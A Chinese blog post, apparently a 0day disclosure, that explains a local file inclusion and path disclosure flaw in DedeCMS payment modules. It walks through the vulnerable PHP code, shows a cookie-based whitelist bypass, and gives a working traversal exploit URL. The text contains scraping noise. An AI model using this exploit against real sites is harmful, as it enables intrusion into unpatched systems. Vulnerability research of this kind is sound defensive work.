dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

- q3 i3 Z% h7 M出现漏洞的两个文件为：
' H% u2 B( }0 B4 q# Q$ J' m, K0 xInclude/payment/alipay.php
( n! a6 \; l$ F# b. C8 J/ hInclude/payment/yeepay.php
8 ~, D: a( p9 l! {# S漏洞均出现在respond方法里，估计这两个文件是临时工写的。
7 u3 a4 Q* g5 X3 n: a8 h
Include/payment/alipay.php
; F5 h  J6 ]+ {/ w
$ R' `7 f8 F- v8 l( N......
$ N' [% I/ N) @$ h* p   function respond()
8 H5 V! }8 V1 i' O6 B  w8 C    {
" M& d7 z  Q* d3 Q! C8 z        if (!empty($_POST))
. S4 D9 L& R, c  Z/ X4 u        {
            foreach($_POST as $key => $data)
- t$ T2 }+ V, u! E            {
                $_GET[$key] = $data;
% a5 j- |; @2 V            }
9 L/ e4 J1 n- e! m4 j" u: z        }
: k9 s' A* s0 N9 o/ C# m# I        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
......

$ ]9 A$ [% x6 g. z
大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

2 \! G! q) L5 l+ u: x. yInclude/payment/yeepay.php


  X- f1 o# R# S7 Z8 [8 z' }
# {, C: O% A. F& c9 I......
    function respond()
1 h2 y# Y- ?& p5 T+ A( b# ~( F6 s$ w    {

        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
1 P! r% Z) q' ]0 b4 Q
. T* d8 q3 k7 K0 {# m$ Q        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......
2 W2 M! N( R- @0 g7 J2 X3 N
) Q; J) t* l2 F
- O& k" y2 o% c; [) t: v% E

3 z0 h- u& w0 y' o( }" v: I, h* j大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。

' S- G! \1 T, Z3 ]* b这两个方法在plus/carbuyaction.php文件调用。
4 ?1 f6 U) V5 b7 F) ~' m
5 K6 y9 W/ }' [8 wplus/carbuyaction.php
2 O3 g- }7 m3 `' c
0 U8 T2 ~: i8 H6 x! V1 l......
$ W% Q' j  r& X; D' E} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
- R: T- }; q. d: T& n    if (in_array($code, $write_list))
4 R+ B/ q& |' m% Q/ E8 {    {
        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
' W2 A& a/ t  }8 j7 Q$ ]        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
2 L- z) \8 [9 w$ H7 Q- ^        exit();  
    } else {
        exit('Error:File Type Can\'t Recognized!');
    }
}
......

; T1 c4 A/ [7 L8 T% ~+ }
$ P0 A* \& ~- `3 }

; ~& p) v& l! ~  u0 X
% s1 B/ v! l  m* I1 R  i/ v
  I0 l! J4 I+ V/ K大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
# }+ m- W: u  ]; E8 p) [4 e所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

7 v$ |0 @7 ~  u回到include/common.inc.php来看看他的机制。
3 C* Q! M& p# e9 P0 X0 |


. F- c+ i* T) i+ F6 C) _......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
4 K$ T; r9 v1 E6 j2 i' g0 u{
        foreach($$_request as $_k => $_v)
6 i6 i  `& M0 y- y        {
                if($_k == 'nvarname') ${$_k} = $_v;
# g9 v9 x, c6 X                else ${$_k} = _RunMagicQuotes($_v);
. y9 L3 X% K. D        }
* R7 \; ^* A9 {" E: {0 q# F}
......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
( W' ~) ?' c9 C, v4 f  s由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。